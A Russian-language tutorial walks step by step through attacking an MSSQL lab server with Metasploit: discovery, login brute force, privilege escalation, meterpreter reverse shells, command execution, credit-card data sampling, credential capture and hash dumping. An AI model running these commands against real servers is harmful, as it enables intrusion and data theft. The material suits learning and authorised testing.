В этой статье пойдет речь о пентестинге MSSQL с помощью программы Metasploit. Читатели ближе познакомятся с характерными чертами и возможностями инструмента.​

Metasploit – это отличный фреймворк, разработанный H.D. Moore. Он представляет собой бесплатный инструмент для тестирования на проникновение. Программа является кроссплатформенной и имеет открытый исходный код, а также обладает целым рядом полезных функций. Она стала очень популярной, потому что профессионалы считают ее мощным инструментом для проведения аудита безопасности. Так оно и есть: у Metasploit множество функций, которые помогут пользователям защитить себя. Стоит отметить, что инструмент может инкапсулировать эксплойт, который обязательно понадобится пентестеру.

Далее читатели узнают, как можно использовать Metasploit для тестирования и проведения эксплойта MSSQL. Будет рассмотрен каждый эксплойт, который Metasploit может предложить, шаг за шагом, от поиска сервера MSSQL в сети до извлечения конфиденциальной информации из базы данных и получения полного контроля. Не стоит больше говорить – самое время перейти к сути.

Поиск сервера​

При тестировании серверов MSSQL, будь то удаленно или локально, в первую очередь нужно найти сам сервер в сети. Для этого следует использовать следующий эксплойт в Metasploit:

Код:
use auxiliary/scanner/mssql/mssql_ping set rhosts 192.168.1.1/24 exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F4470750%2Fpub_612fa32a2d2fe92daec2fbb1_612fa361ac3f4e627b74dff6%2Fscale_1200&hash=6472d656f9043a962783913afcede99d
Как можно увидеть на изображении выше, эксплойт предоставит пользователю подробную информацию об активном сервере в сети.

Получение учетных данных для входа​

Пользователь нашел сервер, поэтому следующий шаг – получить учетные данные. Для этого он проведет атаку с использованием словаря с помощью следующего эксплойта:

Код:
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.1.3
set user_file /root/users.txt
set verbose false
exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F3431141%2Fpub_612fa32a2d2fe92daec2fbb1_612fa36131664b7f168b4edc%2Fscale_1200&hash=ac9db8a1e9e9bab4582f4b3697026949

Получение привилегий (системный администратор)​

Теперь, когда у пользователя есть учетные данные, нужно проверить, какие права имеет юзер, например, является ли он системным администратором. Для дальнейшей практической части нужен пользователь с правами сисадмина. Человек будет использовать следующий эксплойт:

Код:
use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F3373607%2Fpub_612fa32a2d2fe92daec2fbb1_612fa361a502d20436ee66bb%2Fscale_1200&hash=3edbacc5aab8c52a656a5769055533f4

Теперь понятно, что данный пользователь не имеет привилегий системного администратора. Поэтому следует попытаться выяснить, может ли он выдавать себя за любого другого пользователя, имеющего права системного администратора. Для этого необходимо применить следующий эксплойт:

Код:
use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

Теперь стало известно, что пользователь с низким уровнем привилегий может выдавать себя за Sa-пользователя. Пользователь Sa является системным администратором, и с помощью вышеупомянутого эксплойта любой юзер может стать им.

Если запустить предыдущий эксплойт mssql_escalate_dbowner, то пользователь увидит, что повышение привилегий не требуется из-за «изменения роли».

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F1585599%2Fpub_612fa32a2d2fe92daec2fbb1_612fa361b9503c4550d11a48%2Fscale_1200&hash=9542f4500da176b7ed0a60291e54b667

Эксплойт xp_cmdshell​

Пользователь уже нашел сервер MSSQL в сети, получил учетные данные, выдал себя за сисадмина, чтобы иметь более высокие привилегии. Итак, теперь нужно попробовать заполучить сеанс meterpreter сервера с помощью эксплойта xp_cmdshell:

Код:
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F3324118%2Fpub_612fa32a2d2fe92daec2fbb1_612fa361590fde5cd0d6dcc5%2Fscale_1200&hash=a5557df6327067628e35deed8d267ba5

Эксплойт пытается помочь пользователю получить сеанс. Как только xp_cmdshell будет успешно осуществлен, человек завладеет сеансом meterpreter.

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F3126430%2Fpub_612fa32a2d2fe92daec2fbb1_612fa361a6ac7438eaec5497%2Fscale_1200&hash=21db1089cc260e1cce8e4ed3fa886496

Перечисление MSSQL​

Пользователь перечислит сервер и посмотрит, какую информацию он может получить, а также ознакомится с параметрами конфигурации. Для этого будет использоваться следующий эксплойт:

Код:
use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F1889318%2Fpub_612fa32a2d2fe92daec2fbb1_612fa363e409166df462b992%2Fscale_1200&hash=b663582412ae0d6e70876df692d85225

В результате выполнения вышеописанного эксплойта пользователь смог увидеть, какие разрешения предоставлены базе данных, какие учетные записи доступны, а также некоторую другую полезную информацию.

Перечисление пользователей для входа в систему​

MSSQL предоставляет различным пользователям возможность для входа на сервер. Доступ к серверу можно получить через все учетные записи пользователей Windows и учетные записи в базе данных. Благодаря Metasploit у пользователя есть эксплойт для перечисления всех их. Он выглядит следующим образом:
Код:
use auxiliary/admin/mssql/mssql_enum_sql_logins
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F3415135%2Fpub_612fa32a2d2fe92daec2fbb1_612fa363a6ac7438eaec59c7%2Fscale_1200&hash=fd5b9ee79c20b453d37cbbfe7d53a3df

И в результате человек получает нужную ему информацию со списком всех пользователей.

Выполнение запросов MSSQL​

В Metasploit есть эксплойт, который поможет удаленно выполнять все запросы MSSQL. По умолчанию он запускает «[email protected]@version», но пользователь может перейти к любому желаемому запросу с помощью команды «set SQL *query*». Для развертывания указанного эксплойта нужно использовать следующий набор команд:

Код:
use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.1.3
set username lowprwiv
set password [email protected]
exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F964926%2Fpub_612fa32a2d2fe92daec2fbb1_612fa363c89f2541d84f90bc%2Fscale_1200&hash=dd76311dae79c24543ae10f24cbfe2c1

С помощью описанного выше эксплойта у пользователя есть подробная информация о сервере.

Эксплойт Mssql_exec​

Следующий эксплойт поможет воспользоваться преимуществами хранимой процедуры xp_cmdshell. Ранее в этой статье пользователь восстановил учетные данные сервера. Теперь, с помощью них можно вызвать хранимую процедуру xp_cmdshell и выполнить любую команду, которую человек захочет. Чтобы развернуть указанный эксплойт, нужно ввести данную команду:

Код:
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
set cmd "net user"
exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F1907561%2Fpub_612fa32a2d2fe92daec2fbb1_612fa363ac3f4e627b74e3f5%2Fscale_1200&hash=5f467a3002d21b1b983ebcd0843ec97b

Эксплойт выполнен успешно – человек добился желаемого результата, т.е. получил список всех пользователей сети.

Выполнение SQL-запроса с помощью файла в формате .sql​

Другой способ выполнить нужную команду — сначала записать синтаксис Sql в файл .sql, используя:

Код:
cat user.sql
CREATE LOGIN test1 WITH PASSWORD = '[email protected]';

Теперь пользователь может использовать этот файл .sql для удаленного запуска процессов на сервере с помощью следующего эксплойта:

Код:
use auxiliary/admin/mssql/mssql_sql_file
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
set sql_file /root/user.sql
exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F1585599%2Fpub_612fa32a2d2fe92daec2fbb1_612fa364ac3f4e627b74e41b%2Fscale_1200&hash=94684da0bfb6d4c60ccca7ab7e809b98

Как результат, будет создан пользователь с именем test1. Человек может вручную перейти на сервер и подтвердить создание пользователя.

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F1889495%2Fpub_612fa32a2d2fe92daec2fbb1_612fa364629c846536741199%2Fscale_1200&hash=ae3cecd18965351c9b28ac105baa63f0

Создание базы данных​

Обычно на любом сервере MSSQL, который тестируется, уже есть база данных. Однако так как сервер, на котором осуществляется тестирование на проникновение, является новым, так как пользователь хотел показать установку лабы, чтобы следующий эксплойт работал, следует создать базу данных. Чтобы сделать это, надо использовать следующую команду:

Код:
create database bank;

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F4340823%2Fpub_612fa32a2d2fe92daec2fbb1_612fa39de409166df463091f%2Fscale_1200&hash=857833aae6f0abc50abf85aa0249a714


Поскольку приведенный выше запрос успешно выполняется, следующий шаг – ввести данный запрос:

Код:
CREATE TABLE Customers (
CustomerID int,
LastName varchar(255),
FirstName varchar(255),
passw varchar(255),
creditcard varchar(255)
);

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F3545552%2Fpub_612fa32a2d2fe92daec2fbb1_612fa39d3172054c8a82e54e%2Fscale_1200&hash=7c4398ab7f61cddef492fbdd30bdbaeb


Как видно на экране, таблица создана. Теперь следует добавить данные в таблицу с помощью следующего запроса:

Код:
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('01', 'Technologies','Ignite', 'admin123', '1111-2222-3333-4444');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('02', 'Sharma','Nisha', 'admin1234', '5555-6666-7777-8888');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('03', 'Chandel','Raj', 'admin12345', '9999-1010-1020-1030');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('04', 'Madan','Geet', 'admin12311', '1234-5678-9012-3456');

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F3940836%2Fpub_612fa32a2d2fe92daec2fbb1_612fa39d27935601b6349e60%2Fscale_1200&hash=84fcb45cd21f65dcb28ddb05e06192c3

Таким образом, база данных будет создана.

Поиск выборочных данных​

Теперь, когда у пользователя есть база данных, нужно понять, как он может получить ее содержимое с помощью Metasploit. К счастью, у инструмента есть особый эксплойт, который использует определенные ключевые слова для сопоставления элементов в базе данных, а затем выдает всю информацию, связанную с этими ключевыми словами. Сами ключевые слова задаются пользователем. Следует использовать данный тип эксплойта:

Код:
use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
set sample_size 4
set keywords FirstName|passw|credit
exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F1578609%2Fpub_612fa32a2d2fe92daec2fbb1_612fa39de409166df4630920%2Fscale_1200&hash=08b866192e82998685b757381ba8ae5d

Таким образом, использование вышеупомянутого эксплойта поможет найти необходимую информацию в базе данных. Например, данные, которые человек смог получить, содержали информацию о кредитных картах пользователей.

SchemaDump​

Следующий эксплойт, который пользователь собирается использовать, произведёт dumb SQL-сервера. Чтобы задействовать его, нужно ввести следующий набор команд:

Код:
use auxiliary/scanner/mssql/mssql_schemadump
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F3633274%2Fpub_612fa32a2d2fe92daec2fbb1_612fa39da502d20436eec4d6%2Fscale_1200&hash=636fdad6797b32ec46a448b2ce790353

И вот, с помощью вышеупомянутого эксплойта, у пользователя есть данные с сервера.

Захват логина MSSQL​

Следующий эксплойт, который пользователь собирается использовать, — capture/ms sql. Он создает поддельный сервер и пытается захватить аутентифицированные учетные данные с исходного сервера. Чтобы задействовать его, подойдет данная команда:

Код:
use auxiliary/server/capture/mssql
set srvhost 192.168.1.2
exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F1779726%2Fpub_612fa32a2d2fe92daec2fbb1_612fa39d3172054c8a82e54f%2Fscale_1200&hash=3005a8e8a91aa643eef8a1affebc7c18

Теперь, например, если пользователь попытается войти на сервер, у него будут учетные данные:

SQL:
sqsh -S 192.168.1.2 -U sa -P "[email protected]"

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F30229%2Fpub_612fa32a2d2fe92daec2fbb1_612fa3a0629c8465367467d5%2Fscale_1200&hash=e959af64c2299b92debf496de31190c8

И когда он проверит свой Metasploit, вуаля! У пользователя будут правильные учетные данные для входа на сервер.

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F3413906%2Fpub_612fa32a2d2fe92daec2fbb1_612fa3a0b0e7ff09da959a83%2Fscale_1200&hash=b215d81d0353d03c9c14b8fd74c084f9

Использование CLRIntegration​

Следующий эксплойт поможет воспользоваться преимуществами интеграции CLR. Он позволит интегрировать CLR, а также активирует свойство надежной базы данных. После того, как эксплойт предоставит пользователю сеанс, программа восстановит все настройки в их первоначальном виде. Чтобы использовать его, следует ввести команду:

SQL:
use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F4388478%2Fpub_612fa32a2d2fe92daec2fbb1_612fa3a0ac3f4e627b7541c6%2Fscale_1200&hash=7fbb176d3dc7428629702d6bb4e187bf

Как видно, интеграция прошла успешно. Сеанс meterpreter получен.

Hashdump​

И последний, но не менее важный: данный эксплойт используется для сброса хэшей пользователей с сервера. Чтобы применить его, нужно ввести:
SQL:
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.1.149
set username sa
set password [email protected]
expoit

proxy.php?image=https%3A%2F%2Favatars.mds.yandex.net%2Fget-zen_doc%2F759807%2Fpub_612fa32a2d2fe92daec2fbb1_612fa3c3a6ac7438eaecf376%2Fscale_1200&hash=671da63823f1469203e8150d25cea1c1

Примечание: эксплойт hashdump работает только на MSSQL Server 2012.

Подводя итог, Metasploit является одним из лучших инструментов для тестирования серверов MSSQL, поскольку он имеет множество эксплойтов и функций.